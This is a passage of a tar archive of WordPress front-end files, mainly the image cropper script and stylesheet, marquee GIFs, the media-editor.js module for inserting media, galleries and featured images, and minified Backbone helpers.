_55.x1=_57[0]; _55.x2=_57[1]; }else{ _55.y1=_57[0]; _55.y2=_57[1]; } },endCrop:function(){ this.dragging=false; this.resizing=false; this.options.onEndCrop(this.areaCoords,{width:this.calcW(),height:this.calcH()}); },subInitialize:function(){ },subDrawArea:function(){ }}; Cropper.ImgWithPreview=Class.create(); Object.extend(Object.extend(Cropper.ImgWithPreview.prototype,Cropper.Img.prototype),{subInitialize:function(){ this.hasPreviewImg=false; if(typeof (this.options.previewWrap)!="undefined"&&this.options.minWidth>0&&this.options.minHeight>0){ this.previewWrap=$(this.options.previewWrap); this.previewImg=this.img.cloneNode(false); this.options.displayOnInit=true; this.hasPreviewImg=true; Element.addClassName(this.previewWrap,"imgCrop_previewWrap"); Element.setStyle(this.previewWrap,{width:this.options.minWidth+"px",height:this.options.minHeight+"px"}); this.previewWrap.appendChild(this.previewImg); } },subDrawArea:function(){ if(this.hasPreviewImg){ var _58=this.calcW(); var _59=this.calcH(); var _5a={x:this.imgW/_58,y:this.imgH/_59}; var _5b={x:_58/this.options.minWidth,y:_59/this.options.minHeight}; var _5c={w:Math.ceil(this.options.minWidth*_5a.x)+"px",h:Math.ceil(this.options.minHeight*_5a.y)+"px",x:"-"+Math.ceil(this.areaCoords.x1/_5b.x)+"px",y:"-"+Math.ceil(this.areaCoords.y1/_5b.y)+"px"}; var _5d=this.previewImg.style; _5d.width=_5c.w; _5d.height=_5c.h; _5d.left=_5c.x; _5d.top=_5c.y; } }}); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/crop/cropper.css���������������������������������������������������������������������������������0000644�����������������00000005605�14717703502�0010323 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.imgCrop_wrap { /* width: 500px; @done_in_js */ /* height: 375px; @done_in_js */ position: relative; cursor: crosshair; } /* an extra classname is applied for Opera < 9.0 to fix its lack of opacity support */ .imgCrop_wrap.opera8 .imgCrop_overlay, .imgCrop_wrap.opera8 .imgCrop_clickArea { background-color: transparent; } /* fix for IE displaying all boxes at line-height by default, although they are still 1 pixel high until we combine them with the pointless span */ .imgCrop_wrap, .imgCrop_wrap * { font-size: 0; } .imgCrop_overlay { background-color: #000; opacity: 0.5; filter:alpha(opacity=50); position: absolute; width: 100%; height: 100%; } .imgCrop_selArea { position: absolute; /* @done_in_js top: 20px; left: 20px; width: 200px; height: 200px; background: transparent url(castle.jpg) no-repeat -210px -110px; */ cursor: move; z-index: 2; } /* clickArea is all a fix for IE 5.5 & 6 to allow the user to click on the given area */ .imgCrop_clickArea { width: 100%; height: 100%; background-color: #FFF; opacity: 0.01; filter:alpha(opacity=01); } .imgCrop_marqueeHoriz { position: absolute; width: 100%; height: 1px; background: transparent url(marqueeHoriz.gif) repeat-x 0 0; z-index: 3; } .imgCrop_marqueeVert { position: absolute; height: 100%; width: 1px; background: transparent url(marqueeVert.gif) repeat-y 0 0; z-index: 3; } .imgCrop_marqueeNorth { top: 0; left: 0; } .imgCrop_marqueeEast { top: 0; right: 0; } .imgCrop_marqueeSouth { bottom: 0px; left: 0; } .imgCrop_marqueeWest { top: 0; left: 0; } .imgCrop_handle { position: absolute; border: 1px solid #333; width: 6px; height: 6px; background: #FFF; opacity: 0.5; filter:alpha(opacity=50); z-index: 4; } /* fix IE 5 box model */ * html .imgCrop_handle { width: 8px; height: 8px; wid\th: 6px; hei\ght: 6px; } .imgCrop_handleN { top: -3px; left: 0; /* margin-left: 49%; @done_in_js */ cursor: n-resize; } .imgCrop_handleNE { top: -3px; right: -3px; cursor: ne-resize; } .imgCrop_handleE { top: 0; right: -3px; /* margin-top: 49%; @done_in_js */ cursor: e-resize; } .imgCrop_handleSE { right: -3px; bottom: -3px; cursor: se-resize; } .imgCrop_handleS { right: 0; bottom: -3px; /* margin-right: 49%; @done_in_js */ cursor: s-resize; } .imgCrop_handleSW { left: -3px; bottom: -3px; cursor: sw-resize; } .imgCrop_handleW { top: 0; left: -3px; /* margin-top: 49%; @done_in_js */ cursor: e-resize; } .imgCrop_handleNW { top: -3px; left: -3px; cursor: nw-resize; } /** * Create an area to click & drag around on as the default browser behaviour is to let you drag the image */ .imgCrop_dragArea { width: 100%; height: 100%; z-index: 200; position: absolute; top: 0; left: 0; } .imgCrop_previewWrap { /* width: 200px; @done_in_js */ /* height: 200px; @done_in_js */ overflow: hidden; position: relative; } .imgCrop_previewWrap img { position: absolute; }���������������������������������������������������������������������������������������������������������������������������js/crop/marqueeVert.gif�����������������������������������������������������������������������������0000644�����������������00000000445�14717703502�0011123 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������GIF89a�(��������! NETSCAPE2.0���!���,�����(��  ʺ|��!���,�����%�� DPZ��!���,����%�� DPZ��!���,����%�� DPZ��!���,����%�� DPZ��!���,�����%�� PZ��!���,����%�� PZ��!���,����%�� PZ��;���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/crop/marqueeHoriz.gif����������������������������������������������������������������������������0000644�����������������00000000425�14717703502�0011274 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������GIF89a ���������! NETSCAPE2.0���!���,���� ��@ ʺ,�!���,�������DP(�!���,������DP(�!���,������DP(�!���,������DP(�!���,������� (�!���,������ (�!���,������ (�;�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/media-editor.js����������������������������������������������������������������������������������0000644�����������������00000070677�14717703502�0010110 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * @output wp-includes/js/media-editor.js */ /* global getUserSetting, tinymce, QTags */ // WordPress, TinyMCE, and Media // ----------------------------- (function($, _){ /** * Stores the editors' `wp.media.controller.Frame` instances. * * @static */ var workflows = {}; /** * A helper mixin function to avoid truthy and falsey values being * passed as an input that expects booleans. If key is undefined in the map, * but has a default value, set it. * * @param {Object} attrs Map of props from a shortcode or settings. * @param {string} key The key within the passed map to check for a value. * @return {mixed|undefined} The original or coerced value of key within attrs. */ wp.media.coerce = function ( attrs, key ) { if ( _.isUndefined( attrs[ key ] ) && ! _.isUndefined( this.defaults[ key ] ) ) { attrs[ key ] = this.defaults[ key ]; } else if ( 'true' === attrs[ key ] ) { attrs[ key ] = true; } else if ( 'false' === attrs[ key ] ) { attrs[ key ] = false; } return attrs[ key ]; }; /** @namespace wp.media.string */ wp.media.string = { /** * Joins the `props` and `attachment` objects, * outputting the proper object format based on the * attachment's type. * * @param {Object} [props={}] Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {Object} Joined props */ props: function( props, attachment ) { var link, linkUrl, size, sizes, defaultProps = wp.media.view.settings.defaultProps; props = props ? _.clone( props ) : {}; if ( attachment && attachment.type ) { props.type = attachment.type; } if ( 'image' === props.type ) { props = _.defaults( props || {}, { align: defaultProps.align || getUserSetting( 'align', 'none' ), size: defaultProps.size || getUserSetting( 'imgsize', 'medium' ), url: '', classes: [] }); } // All attachment-specific settings follow. if ( ! attachment ) { return props; } props.title = props.title || attachment.title; link = props.link || defaultProps.link || getUserSetting( 'urlbutton', 'file' ); if ( 'file' === link || 'embed' === link ) { linkUrl = attachment.url; } else if ( 'post' === link ) { linkUrl = attachment.link; } else if ( 'custom' === link ) { linkUrl = props.linkUrl; } props.linkUrl = linkUrl || ''; // Format properties for images. if ( 'image' === attachment.type ) { props.classes.push( 'wp-image-' + attachment.id ); sizes = attachment.sizes; size = sizes && sizes[ props.size ] ? sizes[ props.size ] : attachment; _.extend( props, _.pick( attachment, 'align', 'caption', 'alt' ), { width: size.width, height: size.height, src: size.url, captionId: 'attachment_' + attachment.id }); } else if ( 'video' === attachment.type || 'audio' === attachment.type ) { _.extend( props, _.pick( attachment, 'title', 'type', 'icon', 'mime' ) ); // Format properties for non-images. } else { props.title = props.title || attachment.filename; props.rel = props.rel || 'attachment wp-att-' + attachment.id; } return props; }, /** * Create link markup that is suitable for passing to the editor * * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {string} The link markup */ link: function( props, attachment ) { var options; props = wp.media.string.props( props, attachment ); options = { tag: 'a', content: props.title, attrs: { href: props.linkUrl } }; if ( props.rel ) { options.attrs.rel = props.rel; } return wp.html.string( options ); }, /** * Create an Audio shortcode string that is suitable for passing to the editor * * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {string} The audio shortcode */ audio: function( props, attachment ) { return wp.media.string._audioVideo( 'audio', props, attachment ); }, /** * Create a Video shortcode string that is suitable for passing to the editor * * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {string} The video shortcode */ video: function( props, attachment ) { return wp.media.string._audioVideo( 'video', props, attachment ); }, /** * Helper function to create a media shortcode string * * @access private * * @param {string} type The shortcode tag name: 'audio' or 'video'. * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {string} The media shortcode */ _audioVideo: function( type, props, attachment ) { var shortcode, html, extension; props = wp.media.string.props( props, attachment ); if ( props.link !== 'embed' ) { return wp.media.string.link( props ); } shortcode = {}; if ( 'video' === type ) { if ( attachment.image && -1 === attachment.image.src.indexOf( attachment.icon ) ) { shortcode.poster = attachment.image.src; } if ( attachment.width ) { shortcode.width = attachment.width; } if ( attachment.height ) { shortcode.height = attachment.height; } } extension = attachment.filename.split('.').pop(); if ( _.contains( wp.media.view.settings.embedExts, extension ) ) { shortcode[extension] = attachment.url; } else { // Render unsupported audio and video files as links. return wp.media.string.link( props ); } html = wp.shortcode.string({ tag: type, attrs: shortcode }); return html; }, /** * Create image markup, optionally with a link and/or wrapped in a caption shortcode, * that is suitable for passing to the editor * * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {string} */ image: function( props, attachment ) { var img = {}, options, classes, shortcode, html; props.type = 'image'; props = wp.media.string.props( props, attachment ); classes = props.classes || []; img.src = ! _.isUndefined( attachment ) ? attachment.url : props.url; _.extend( img, _.pick( props, 'width', 'height', 'alt' ) ); // Only assign the align class to the image if we're not printing // a caption, since the alignment is sent to the shortcode. if ( props.align && ! props.caption ) { classes.push( 'align' + props.align ); } if ( props.size ) { classes.push( 'size-' + props.size ); } img['class'] = _.compact( classes ).join(' '); // Generate `img` tag options. options = { tag: 'img', attrs: img, single: true }; // Generate the `a` element options, if they exist. if ( props.linkUrl ) { options = { tag: 'a', attrs: { href: props.linkUrl }, content: options }; } html = wp.html.string( options ); // Generate the caption shortcode. if ( props.caption ) { shortcode = {}; if ( img.width ) { shortcode.width = img.width; } if ( props.captionId ) { shortcode.id = props.captionId; } if ( props.align ) { shortcode.align = 'align' + props.align; } html = wp.shortcode.string({ tag: 'caption', attrs: shortcode, content: html + ' ' + props.caption }); } return html; } }; wp.media.embed = { coerce : wp.media.coerce, defaults : { url : '', width: '', height: '' }, edit : function( data, isURL ) { var frame, props = {}, shortcode; if ( isURL ) { props.url = data.replace(/<[^>]+>/g, ''); } else { shortcode = wp.shortcode.next( 'embed', data ).shortcode; props = _.defaults( shortcode.attrs.named, this.defaults ); if ( shortcode.content ) { props.url = shortcode.content; } } frame = wp.media({ frame: 'post', state: 'embed', metadata: props }); return frame; }, shortcode : function( model ) { var self = this, content; _.each( this.defaults, function( value, key ) { model[ key ] = self.coerce( model, key ); if ( value === model[ key ] ) { delete model[ key ]; } }); content = model.url; delete model.url; return new wp.shortcode({ tag: 'embed', attrs: model, content: content }); } }; /** * @class wp.media.collection * * @param {Object} attributes */ wp.media.collection = function(attributes) { var collections = {}; return _.extend(/** @lends wp.media.collection.prototype */{ coerce : wp.media.coerce, /** * Retrieve attachments based on the properties of the passed shortcode * * @param {wp.shortcode} shortcode An instance of wp.shortcode(). * @return {wp.media.model.Attachments} A Backbone.Collection containing * the media items belonging to a collection. * The query[ this.tag ] property is a Backbone.Model * containing the 'props' for the collection. */ attachments: function( shortcode ) { var shortcodeString = shortcode.string(), result = collections[ shortcodeString ], attrs, args, query, others, self = this; delete collections[ shortcodeString ]; if ( result ) { return result; } // Fill the default shortcode attributes. attrs = _.defaults( shortcode.attrs.named, this.defaults ); args = _.pick( attrs, 'orderby', 'order' ); args.type = this.type; args.perPage = -1; // Mark the `orderby` override attribute. if ( undefined !== attrs.orderby ) { attrs._orderByField = attrs.orderby; } if ( 'rand' === attrs.orderby ) { attrs._orderbyRandom = true; } // Map the `orderby` attribute to the corresponding model property. if ( ! attrs.orderby || /^menu_order(?: ID)?$/i.test( attrs.orderby ) ) { args.orderby = 'menuOrder'; } // Map the `ids` param to the correct query args. if ( attrs.ids ) { args.post__in = attrs.ids.split(','); args.orderby = 'post__in'; } else if ( attrs.include ) { args.post__in = attrs.include.split(','); } if ( attrs.exclude ) { args.post__not_in = attrs.exclude.split(','); } if ( ! args.post__in ) { args.uploadedTo = attrs.id; } // Collect the attributes that were not included in `args`. others = _.omit( attrs, 'id', 'ids', 'include', 'exclude', 'orderby', 'order' ); _.each( this.defaults, function( value, key ) { others[ key ] = self.coerce( others, key ); }); query = wp.media.query( args ); query[ this.tag ] = new Backbone.Model( others ); return query; }, /** * Triggered when clicking 'Insert {label}' or 'Update {label}' * * @param {wp.media.model.Attachments} attachments A Backbone.Collection containing * the media items belonging to a collection. * The query[ this.tag ] property is a Backbone.Model * containing the 'props' for the collection. * @return {wp.shortcode} */ shortcode: function( attachments ) { var props = attachments.props.toJSON(), attrs = _.pick( props, 'orderby', 'order' ), shortcode, clone; if ( attachments.type ) { attrs.type = attachments.type; delete attachments.type; } if ( attachments[this.tag] ) { _.extend( attrs, attachments[this.tag].toJSON() ); } /* * Convert all gallery shortcodes to use the `ids` property. * Ignore `post__in` and `post__not_in`; the attachments in * the collection will already reflect those properties. */ attrs.ids = attachments.pluck('id'); // Copy the `uploadedTo` post ID. if ( props.uploadedTo ) { attrs.id = props.uploadedTo; } // Check if the gallery is randomly ordered. delete attrs.orderby; if ( attrs._orderbyRandom ) { attrs.orderby = 'rand'; } else if ( attrs._orderByField && 'rand' !== attrs._orderByField ) { attrs.orderby = attrs._orderByField; } delete attrs._orderbyRandom; delete attrs._orderByField; // If the `ids` attribute is set and `orderby` attribute // is the default value, clear it for cleaner output. if ( attrs.ids && 'post__in' === attrs.orderby ) { delete attrs.orderby; } attrs = this.setDefaults( attrs ); shortcode = new wp.shortcode({ tag: this.tag, attrs: attrs, type: 'single' }); // Use a cloned version of the gallery. clone = new wp.media.model.Attachments( attachments.models, { props: props }); clone[ this.tag ] = attachments[ this.tag ]; collections[ shortcode.string() ] = clone; return shortcode; }, /** * Triggered when double-clicking a collection shortcode placeholder * in the editor * * @param {string} content Content that is searched for possible * shortcode markup matching the passed tag name, * * @this wp.media.{prop} * * @return {wp.media.view.MediaFrame.Select} A media workflow. */ edit: function( content ) { var shortcode = wp.shortcode.next( this.tag, content ), defaultPostId = this.defaults.id, attachments, selection, state; // Bail if we didn't match the shortcode or all of the content. if ( ! shortcode || shortcode.content !== content ) { return; } // Ignore the rest of the match object. shortcode = shortcode.shortcode; if ( _.isUndefined( shortcode.get('id') ) && ! _.isUndefined( defaultPostId ) ) { shortcode.set( 'id', defaultPostId ); } attachments = this.attachments( shortcode ); selection = new wp.media.model.Selection( attachments.models, { props: attachments.props.toJSON(), multiple: true }); selection[ this.tag ] = attachments[ this.tag ]; // Fetch the query's attachments, and then break ties from the // query to allow for sorting. selection.more().done( function() { // Break ties with the query. selection.props.set({ query: false }); selection.unmirror(); selection.props.unset('orderby'); }); // Destroy the previous gallery frame. if ( this.frame ) { this.frame.dispose(); } if ( shortcode.attrs.named.type && 'video' === shortcode.attrs.named.type ) { state = 'video-' + this.tag + '-edit'; } else { state = this.tag + '-edit'; } // Store the current frame. this.frame = wp.media({ frame: 'post', state: state, title: this.editTitle, editing: true, multiple: true, selection: selection }).open(); return this.frame; }, setDefaults: function( attrs ) { var self = this; // Remove default attributes from the shortcode. _.each( this.defaults, function( value, key ) { attrs[ key ] = self.coerce( attrs, key ); if ( value === attrs[ key ] ) { delete attrs[ key ]; } }); return attrs; } }, attributes ); }; wp.media._galleryDefaults = { itemtag: 'dl', icontag: 'dt', captiontag: 'dd', columns: '3', link: 'post', size: 'thumbnail', order: 'ASC', id: wp.media.view.settings.post && wp.media.view.settings.post.id, orderby : 'menu_order ID' }; if ( wp.media.view.settings.galleryDefaults ) { wp.media.galleryDefaults = _.extend( {}, wp.media._galleryDefaults, wp.media.view.settings.galleryDefaults ); } else { wp.media.galleryDefaults = wp.media._galleryDefaults; } wp.media.gallery = new wp.media.collection({ tag: 'gallery', type : 'image', editTitle : wp.media.view.l10n.editGalleryTitle, defaults : wp.media.galleryDefaults, setDefaults: function( attrs ) { var self = this, changed = ! _.isEqual( wp.media.galleryDefaults, wp.media._galleryDefaults ); _.each( this.defaults, function( value, key ) { attrs[ key ] = self.coerce( attrs, key ); if ( value === attrs[ key ] && ( ! changed || value === wp.media._galleryDefaults[ key ] ) ) { delete attrs[ key ]; } } ); return attrs; } }); /** * @namespace wp.media.featuredImage * @memberOf wp.media */ wp.media.featuredImage = { /** * Get the featured image post ID * * @return {wp.media.view.settings.post.featuredImageId|number} */ get: function() { return wp.media.view.settings.post.featuredImageId; }, /** * Sets the featured image ID property and sets the HTML in the post meta box to the new featured image. * * @param {number} id The post ID of the featured image, or -1 to unset it. */ set: function( id ) { var settings = wp.media.view.settings; settings.post.featuredImageId = id; wp.media.post( 'get-post-thumbnail-html', { post_id: settings.post.id, thumbnail_id: settings.post.featuredImageId, _wpnonce: settings.post.nonce }).done( function( html ) { if ( '0' === html ) { window.alert( wp.i18n.__( 'Could not set that as the thumbnail image. Try a different attachment.' ) ); return; } $( '.inside', '#postimagediv' ).html( html ); }); }, /** * Remove the featured image id, save the post thumbnail data and * set the HTML in the post meta box to no featured image. */ remove: function() { wp.media.featuredImage.set( -1 ); }, /** * The Featured Image workflow * * @this wp.media.featuredImage * * @return {wp.media.view.MediaFrame.Select} A media workflow. */ frame: function() { if ( this._frame ) { wp.media.frame = this._frame; return this._frame; } this._frame = wp.media({ state: 'featured-image', states: [ new wp.media.controller.FeaturedImage() , new wp.media.controller.EditImage() ] }); this._frame.on( 'toolbar:create:featured-image', function( toolbar ) { /** * @this wp.media.view.MediaFrame.Select */ this.createSelectToolbar( toolbar, { text: wp.media.view.l10n.setFeaturedImage }); }, this._frame ); this._frame.on( 'content:render:edit-image', function() { var selection = this.state('featured-image').get('selection'), view = new wp.media.view.EditImage( { model: selection.single(), controller: this } ).render(); this.content.set( view ); // After bringing in the frame, load the actual editor via an Ajax call. view.loadEditor(); }, this._frame ); this._frame.state('featured-image').on( 'select', this.select ); return this._frame; }, /** * 'select' callback for Featured Image workflow, triggered when * the 'Set Featured Image' button is clicked in the media modal. * * @this wp.media.controller.FeaturedImage */ select: function() { var selection = this.get('selection').single(); if ( ! wp.media.view.settings.post.featuredImageId ) { return; } wp.media.featuredImage.set( selection ? selection.id : -1 ); }, /** * Open the content media manager to the 'featured image' tab when * the post thumbnail is clicked. * * Update the featured image id when the 'remove' link is clicked. */ init: function() { $('#postimagediv').on( 'click', '#set-post-thumbnail', function( event ) { event.preventDefault(); // Stop propagation to prevent thickbox from activating. event.stopPropagation(); wp.media.featuredImage.frame().open(); }).on( 'click', '#remove-post-thumbnail', function() { wp.media.featuredImage.remove(); return false; }); } }; $( wp.media.featuredImage.init ); /** @namespace wp.media.editor */ wp.media.editor = { /** * Send content to the editor * * @param {string} html Content to send to the editor */ insert: function( html ) { var editor, wpActiveEditor, hasTinymce = ! _.isUndefined( window.tinymce ), hasQuicktags = ! _.isUndefined( window.QTags ); if ( this.activeEditor ) { wpActiveEditor = window.wpActiveEditor = this.activeEditor; } else { wpActiveEditor = window.wpActiveEditor; } /* * Delegate to the global `send_to_editor` if it exists. * This attempts to play nice with any themes/plugins * that have overridden the insert functionality. */ if ( window.send_to_editor ) { return window.send_to_editor.apply( this, arguments ); } if ( ! wpActiveEditor ) { if ( hasTinymce && tinymce.activeEditor ) { editor = tinymce.activeEditor; wpActiveEditor = window.wpActiveEditor = editor.id; } else if ( ! hasQuicktags ) { return false; } } else if ( hasTinymce ) { editor = tinymce.get( wpActiveEditor ); } if ( editor && ! editor.isHidden() ) { editor.execCommand( 'mceInsertContent', false, html ); } else if ( hasQuicktags ) { QTags.insertContent( html ); } else { document.getElementById( wpActiveEditor ).value += html; } // If the old thickbox remove function exists, call it in case // a theme/plugin overloaded it. if ( window.tb_remove ) { try { window.tb_remove(); } catch( e ) {} } }, /** * Setup 'workflow' and add to the 'workflows' cache. 'open' can * subsequently be called upon it. * * @param {string} id A slug used to identify the workflow. * @param {Object} [options={}] * * @this wp.media.editor * * @return {wp.media.view.MediaFrame.Select} A media workflow. */ add: function( id, options ) { var workflow = this.get( id ); // Only add once: if exists return existing. if ( workflow ) { return workflow; } workflow = workflows[ id ] = wp.media( _.defaults( options || {}, { frame: 'post', state: 'insert', title: wp.media.view.l10n.addMedia, multiple: true } ) ); workflow.on( 'insert', function( selection ) { var state = workflow.state(); selection = selection || state.get('selection'); if ( ! selection ) { return; } $.when.apply( $, selection.map( function( attachment ) { var display = state.display( attachment ).toJSON(); /** * @this wp.media.editor */ return this.send.attachment( display, attachment.toJSON() ); }, this ) ).done( function() { wp.media.editor.insert( _.toArray( arguments ).join('\n\n') ); }); }, this ); workflow.state('gallery-edit').on( 'update', function( selection ) { /** * @this wp.media.editor */ this.insert( wp.media.gallery.shortcode( selection ).string() ); }, this ); workflow.state('playlist-edit').on( 'update', function( selection ) { /** * @this wp.media.editor */ this.insert( wp.media.playlist.shortcode( selection ).string() ); }, this ); workflow.state('video-playlist-edit').on( 'update', function( selection ) { /** * @this wp.media.editor */ this.insert( wp.media.playlist.shortcode( selection ).string() ); }, this ); workflow.state('embed').on( 'select', function() { /** * @this wp.media.editor */ var state = workflow.state(), type = state.get('type'), embed = state.props.toJSON(); embed.url = embed.url || ''; if ( 'link' === type ) { _.defaults( embed, { linkText: embed.url, linkUrl: embed.url }); this.send.link( embed ).done( function( resp ) { wp.media.editor.insert( resp ); }); } else if ( 'image' === type ) { _.defaults( embed, { title: embed.url, linkUrl: '', align: 'none', link: 'none' }); if ( 'none' === embed.link ) { embed.linkUrl = ''; } else if ( 'file' === embed.link ) { embed.linkUrl = embed.url; } this.insert( wp.media.string.image( embed ) ); } }, this ); workflow.state('featured-image').on( 'select', wp.media.featuredImage.select ); workflow.setState( workflow.options.state ); return workflow; }, /** * Determines the proper current workflow id * * @param {string} [id=''] A slug used to identify the workflow. * * @return {wpActiveEditor|string|tinymce.activeEditor.id} */ id: function( id ) { if ( id ) { return id; } // If an empty `id` is provided, default to `wpActiveEditor`. id = window.wpActiveEditor; // If that doesn't work, fall back to `tinymce.activeEditor.id`. if ( ! id && ! _.isUndefined( window.tinymce ) && tinymce.activeEditor ) { id = tinymce.activeEditor.id; } // Last but not least, fall back to the empty string. id = id || ''; return id; }, /** * Return the workflow specified by id * * @param {string} id A slug used to identify the workflow. * * @this wp.media.editor * * @return {wp.media.view.MediaFrame} A media workflow. */ get: function( id ) { id = this.id( id ); return workflows[ id ]; }, /** * Remove the workflow represented by id from the workflow cache * * @param {string} id A slug used to identify the workflow. * * @this wp.media.editor */ remove: function( id ) { id = this.id( id ); delete workflows[ id ]; }, /** @namespace wp.media.editor.send */ send: { /** * Called when sending an attachment to the editor * from the medial modal. * * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {Promise} */ attachment: function( props, attachment ) { var caption = attachment.caption, options, html; // If captions are disabled, clear the caption. if ( ! wp.media.view.settings.captions ) { delete attachment.caption; } props = wp.media.string.props( props, attachment ); options = { id: attachment.id, post_content: attachment.description, post_excerpt: caption }; if ( props.linkUrl ) { options.url = props.linkUrl; } if ( 'image' === attachment.type ) { html = wp.media.string.image( props ); _.each({ align: 'align', size: 'image-size', alt: 'image_alt' }, function( option, prop ) { if ( props[ prop ] ) { options[ option ] = props[ prop ]; } }); } else if ( 'video' === attachment.type ) { html = wp.media.string.video( props, attachment ); } else if ( 'audio' === attachment.type ) { html = wp.media.string.audio( props, attachment ); } else { html = wp.media.string.link( props ); options.post_title = props.title; } return wp.media.post( 'send-attachment-to-editor', { nonce: wp.media.view.settings.nonce.sendToEditor, attachment: options, html: html, post_id: wp.media.view.settings.post.id }); }, /** * Called when 'Insert From URL' source is not an image. Example: YouTube url. * * @param {Object} embed * @return {Promise} */ link: function( embed ) { return wp.media.post( 'send-link-to-editor', { nonce: wp.media.view.settings.nonce.sendToEditor, src: embed.linkUrl, link_text: embed.linkText, html: wp.media.string.link( embed ), post_id: wp.media.view.settings.post.id }); } }, /** * Open a workflow * * @param {string} [id=undefined] Optional. A slug used to identify the workflow. * @param {Object} [options={}] * * @this wp.media.editor * * @return {wp.media.view.MediaFrame} */ open: function( id, options ) { var workflow; options = options || {}; id = this.id( id ); this.activeEditor = id; workflow = this.get( id ); // Redo workflow if state has changed. if ( ! workflow || ( workflow.options && options.state !== workflow.options.state ) ) { workflow = this.add( id, options ); } wp.media.frame = workflow; return workflow.open(); }, /** * Bind click event for .insert-media using event delegation */ init: function() { $(document.body) .on( 'click.add-media-button', '.insert-media', function( event ) { var elem = $( event.currentTarget ), editor = elem.data('editor'), options = { frame: 'post', state: 'insert', title: wp.media.view.l10n.addMedia, multiple: true }; event.preventDefault(); if ( elem.hasClass( 'gallery' ) ) { options.state = 'gallery'; options.title = wp.media.view.l10n.createGalleryTitle; } wp.media.editor.open( editor, options ); }); // Initialize and render the Editor drag-and-drop uploader. new wp.media.view.EditorUploader().render(); } }; _.bindAll( wp.media.editor, 'open' ); $( wp.media.editor.init ); }(jQuery, _)); �����������������������������������������������������������������js/wp-backbone.min.js�������������������������������������������������������������������������������0000644�����������������00000005737�14717703502�0010512 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ window.wp=window.wp||{},function(e){wp.Backbone={},wp.Backbone.Subviews=function(e,t){this.view=e,this._views=_.isArray(t)?{"":t}:t||{}},wp.Backbone.Subviews.extend=Backbone.Model.extend,_.extend(wp.Backbone.Subviews.prototype,{all:function(){return _.flatten(_.values(this._views))},get:function(e){return this._views[e=e||""]},first:function(e){e=this.get(e);return e&&e.length?e[0]:null},set:function(i,e,t){var n,s;return _.isString(i)||(t=e,e=i,i=""),t=t||{},s=e=_.isArray(e)?e:[e],(n=this.get(i))&&(t.add?_.isUndefined(t.at)?s=n.concat(e):(s=n).splice.apply(s,[t.at,0].concat(e)):(_.each(s,function(e){e.__detach=!0}),_.each(n,function(e){e.__detach?e.$el.detach():e.remove()}),_.each(s,function(e){delete e.__detach}))),this._views[i]=s,_.each(e,function(e){var t=e.Views||wp.Backbone.Subviews,t=e.views=e.views||new t(e);t.parent=this.view,t.selector=i},this),t.silent||this._attach(i,e,_.extend({ready:this._isReady()},t)),this},add:function(e,t,i){return _.isString(e)||(i=t,t=e,e=""),this.set(e,t,_.extend({add:!0},i))},unset:function(e,t,i){var n;return _.isString(e)||(i=t,t=e,e=""),t=t||[],(n=this.get(e))&&(t=_.isArray(t)?t:[t],this._views[e]=t.length?_.difference(n,t):[]),i&&i.silent||_.invoke(t,"remove"),this},detach:function(){return e(_.pluck(this.all(),"el")).detach(),this},render:function(){var i={ready:this._isReady()};return _.each(this._views,function(e,t){this._attach(t,e,i)},this),this.rendered=!0,this},remove:function(e){return e&&e.silent||(this.parent&&this.parent.views&&this.parent.views.unset(this.selector,this.view,{silent:!0}),delete this.parent,delete this.selector),_.invoke(this.all(),"remove"),this._views=[],this},replace:function(e,t){return e.html(t),this},insert:function(e,t,i){var n,i=i&&i.at;return _.isNumber(i)&&(n=e.children()).length>i?n.eq(i).before(t):e.append(t),this},ready:function(){this.view.trigger("ready"),_.chain(this.all()).map(function(e){return e.views}).flatten().where({attached:!0}).invoke("ready")},_attach:function(e,t,i){var n,e=e?this.view.$(e):this.view.$el;return e.length&&(n=_.chain(t).pluck("views").flatten().value(),_.each(n,function(e){e.rendered||(e.view.render(),e.rendered=!0)},this),this[i.add?"insert":"replace"](e,_.pluck(t,"el"),i),_.each(n,function(e){e.attached=!0,i.ready&&e.ready()},this)),this},_isReady:function(){for(var e=this.view.el;e;){if(e===document.body)return!0;e=e.parentNode}return!1}}),wp.Backbone.View=Backbone.View.extend({Subviews:wp.Backbone.Subviews,constructor:function(e){this.views=new this.Subviews(this,this.views),this.on("ready",this.ready,this),this.options=e||{},Backbone.View.apply(this,arguments)},remove:function(){var e=Backbone.View.prototype.remove.apply(this,arguments);return this.views&&this.views.remove(),e},render:function(){var e;return this.prepare&&(e=this.prepare()),this.views.detach(),this.template&&(this.trigger("prepare",e=e||{}),this.$el.html(this.template(e))),this.views.render(),this},prepare:function(){return this.options},ready:function(){}})}(jQuery);���������������������������������js/json2.min.js�������������������������������������������������������������������������������������0000644�����������������00000006121�14717703502�0007341 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ "object"!=typeof JSON&&(JSON={}),!function(){"use strict";var 